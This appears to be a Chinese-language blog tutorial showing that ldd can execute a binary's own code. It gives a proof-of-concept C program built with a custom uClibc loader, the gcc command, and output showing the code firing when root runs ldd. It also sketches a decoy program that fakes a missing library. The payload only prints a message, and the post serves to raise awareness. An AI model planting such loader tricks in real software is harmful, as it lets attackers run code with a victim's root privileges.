int main() {
if (getenv("LD_TRACE_LOADED_OBJECTS")) {
printf("All your things are belong to me.\n");
}
else {
printf("Nothing.\n");
}
return 0;
}
这是一个很简单的代码了,这段代码主要检查一下环境变量LD_TRACE_LOADED_OBJECTS 是否被设置了,如果是,那么恶意程序执行,如果没有,那么程序什么也不发生。
下面是编译程序的命令,大家可以看到,我们静态链接了一些函数库。我们并不想让LD_LIBRARY_PATH这个变量来发挥作用。
$ L=/home/you/app/uclibc
$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \
-Wl,-rpath-link,$L/lib \
-nostdlib \
myapp.c -o myapp \
$L/usr/lib/crt*.o \
-L$L/usr/lib/ \
-lc
下面是GCC的各个参数的解释:
* -Wl,–dynamic-linker,$L/lib/ld-uClibc.so.0 — 指定一个新的装载器。
* -Wl,-rpath-link,$L/lib — 指定一个首要的动态装载器所在的目录,这个目录用于查找动态库。
* -nostdlib — 不使用系统标准库。
* myapp.c -o myapp — 编译myapp.c 成可执行文件 myapp,
* $L/usr/lib/crt*.o — 静态链接runtime 代码
* -L$L/usr/lib/ — libc 的目录(静态链接)
* -lc — C 库
现在让我们来运行一下我们的 `myapp` (没有ldd,一切正常)
app/bin$ ./myapp
Nothing.
LD_TRACE_LOADED_OBJECTS 没有设置,所以输出 “Nothing.” 。
现在,让我们来使用 `ldd` 来看看这个程序的最大的影响力,让我们以root身份来干这个事。
$ su
Password:
# ldd ./myapp
All your things are belong to me.
哈哈,我们可以看到,ldd触发了我们的恶意代码。于是,我们偷了整个系统! 邪恶的程序
下面这个例子更为实际一些,如果没有`ldd` ,那程序程序会报错 “error while loading shared libraries” ,这个错误信息会引诱你去去使用 `ldd` 去做检查,如果你是root的话,那么就整个系统就玩完了。而当你可以了 `ldd` 后,它会在干完坏事后,模仿正确的`ldd`的输出,告诉你 `libat.so.0` 不存在。
下面的代码仅仅是向你展示了一下整个想法,代码还需加工和改善。
#include
#include
#include
#include
/*
This example pretends to have a fictitious library 'libat.so.0' missing.
When someone with root permissions runs `ldd this_program`, it does
something nasty in malicious() function.
I haven't implemented anything malicious but have written down some ideas
of what could be done.
This is, of course, a joke program. To make it look more real, you'd have
to bump its size, add some more dependencies, simulate trying to open the
missing library, detect if ran under debugger or strace and do absolutely
nothing suspicious, etc.
*/